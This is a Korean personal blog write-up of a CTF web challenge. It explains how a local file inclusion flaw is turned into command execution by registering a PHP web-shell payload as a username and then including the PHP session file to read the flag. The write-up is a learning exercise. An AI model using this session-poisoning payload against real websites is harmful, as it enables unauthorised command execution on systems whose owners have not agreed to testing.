[WhiteHat Grand Prix 06-Quals] Session관련 문제

두비니

·

2020. 1. 5. 23:50

 

 

 

 

사실 그냥 과외들으면서 한거라 정확히 무슨문제인지 모른다!

 

 

 

 

 

LFI가 터진다는걸 알 수 있다.

 

 

보아하니 그냥 있을 수 밖에 없는 페이지를 연 것 같다. 그래서 게싱으로 passwd파일을 열어보았다.

 

 

 

 

 

이제 session에 대해서 알아보도록 하자.

보통의 웹사이트라면 start_session() 함수가 포함되어 있을 것이다. 

 

 

그 안에 $res[id]가 존재할 것이고, 그 id에 대한 정보는

$_SESSION['id']=$res['id'];

id = (내가 입력한 id값)

 

처럼 입력이 될 것이다.

 

그럼 id에 <?php system($_GET[cmd]); ?>를 입력하게 되면 어떻게 될까?

/var/lib/php/sessions/sess_(쿠키값)의 디렉토리에 

Id|s:n:"<?php system($_GET[cmd]); ?>

들어가게 되는거고,각각 변수의 뜻은

s : datatype(string)

n : # of data

"" : 내용

 

 

 

 

다음과 같이 회원가입을 해줍시다.(pw는 123456했어요)

그렇다면 나의 현재 쿠키값에 해당하는 디렉토리에 나의 id정보가 들어가있을 것입니다.

 

 

 

해당 쿠키값으로 들어가니 

이렇게 뜨네요.

보면 username이 28자리 있는데 아무것도 입력되지 않은 것을 보아 id였던 <?php system($_GET[cmd]); ?>가 명령어로 인식된 것을 알 수 있습니다.

근데 여기서 아무것도 출력이 안 된 것은 cmd에 아무 값도 입력되지 않아서 그런 거겠죠?

따라서 cmd에 값을 입력해봅시다.

 

 

 

 

 

 

딱봐도 flag 파일이 있네요!!!

 

 

 

 

 

따라서 flag파일을 열어보았더니 플래그를 얻을 수 있었습니다.

 

전형적인 LFI 문제였고, session에대해서 이해를 하고 있어야 할 수 있는 문제여서 어려웠다고 한다. 

 

나도 푸는데 너무 어려웠다.ㅎ

 

그래도 열심히 하자!

 

'CTF' 카테고리의 다른 글

[DawgCTF 2021] :pwn: No Step On Snek Write-Up  (0) 2021.05.14
[DawgCTF 2021] Write-Up :Misc:  (0) 2021.05.11
[CodeFest 2021] :pwn: Write-Up  (0) 2021.03.20
[PoseidonCTF 2020] misc write-up  (0) 2020.08.10
[castorsCTF2020] ::pwnable:: abcbof풀이  (0) 2020.06.01